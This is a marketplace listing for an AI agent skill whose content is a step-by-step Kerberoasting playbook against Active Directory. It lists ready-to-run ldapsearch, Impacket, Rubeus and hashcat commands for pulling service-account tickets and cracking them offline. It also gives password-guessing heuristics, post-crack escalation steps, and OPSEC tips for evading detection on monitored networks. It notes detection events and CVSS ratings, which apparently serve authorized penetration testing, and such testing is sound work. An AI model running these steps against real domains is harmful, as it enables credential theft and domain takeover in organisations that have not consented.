# Kerberoasting

> Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.

- **Type:** Skill
- **Install:** `agentstack add skill-mingyiseclab-mingyi-atlas-kerberoasting`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [MingyiSecLab](https://agentstack.voostack.com/s/mingyiseclab)
- **Installs:** 0
- **Category:** [Security](https://agentstack.voostack.com/c/security)
- **Latest version:** 0.1.0
- **License:** Apache-2.0
- **Upstream author:** [MingyiSecLab](https://github.com/MingyiSecLab)
- **Source:** https://github.com/MingyiSecLab/Mingyi-Atlas/tree/main/src/skills/standard/ad/kerberoasting

## Install

```sh
agentstack add skill-mingyiseclab-mingyi-atlas-kerberoasting
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Kerberoasting Playbook

## Prerequisite
Any valid domain user. No special privileges required.

## 1. Identify roastable accounts
From BloodHound ingest:
```
kg_query(kind="user", filter="hasspn=true and enabled=true")
```
Or LDAP-direct:
```bash
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt
```

## 2. Request TGS tickets
**Impacket** (most reliable):
```bash
GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes
```

**Rubeus** (from Windows beachhead):
```powershell
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap
```

Modern hashes are `$krb5tgs$23$*user$DOM$spn*$` (RC4). If
forest is Win2012+, AES tickets may come back as `$krb5tgs$18$*…`.

## 3. Crack offline
```bash
# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule
```

**Service-account heuristics**: 60-70% of kerberoasted accounts use:
- ServiceName + season + year (e.g. `SQLSvc2024!`, `IISWinter25`)
- App name + 4-digit numbers
- Default install passwords (Veeam, SCCM, Splunk admins)
- Custom dict from OSINT (company name, products, projects)

## 4. Promote cracked credential
```
kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"m","mode":"hashcat-m13100"})
kg_add_edge(src=, dst=, kind="authenticates")
```

## 5. Post-crack actions
Whatever the service account can reach is now yours:
- Run BloodHound as the new cred → re-ingest
- Often these accounts have AdminTo on the box hosting the service
- Sometimes they're members of Tier-0 groups (yes, really)

## OPSEC notes
- Requesting TGS tickets is logged to **4769** events on the DC
- Detection: 4769 with `Ticket Encryption Type=0x17` (RC4) when the
  service supports AES is anomalous
- Rate limiting: don't request all SPNs at once on a monitored network;
  Impacket has no built-in throttle, write a wrapper
- Use `-no-preauth` to avoid lockout if doing manual TGS via kinit

## CVSS
- Roastable + crackable in scope timeframe: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.0
- Roastable but uncrackable (long random pw): Informational
- AES-only + no offline crack feasible: Low

## Common services found
| SPN prefix | Likely account | Typical impact |
|---|---|---|
| `MSSQLSvc/` | SQL service account | Often local admin on DB host |
| `HTTP/sccm*` | SCCM service | Often Domain Admin (misconfig) |
| `MSOLAPSvc.3/` | SSAS | Local admin on analysis server |
| `kadmin/changepw` | KDC account | RARE — high value if hit |
| `exchangeMDB/` | Exchange recovery | Sometimes priv group |

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [MingyiSecLab](https://github.com/MingyiSecLab)
- **Source:** [MingyiSecLab/Mingyi-Atlas](https://github.com/MingyiSecLab/Mingyi-Atlas)
- **License:** Apache-2.0

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-mingyiseclab-mingyi-atlas-kerberoasting
- Seller: https://agentstack.voostack.com/s/mingyiseclab
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.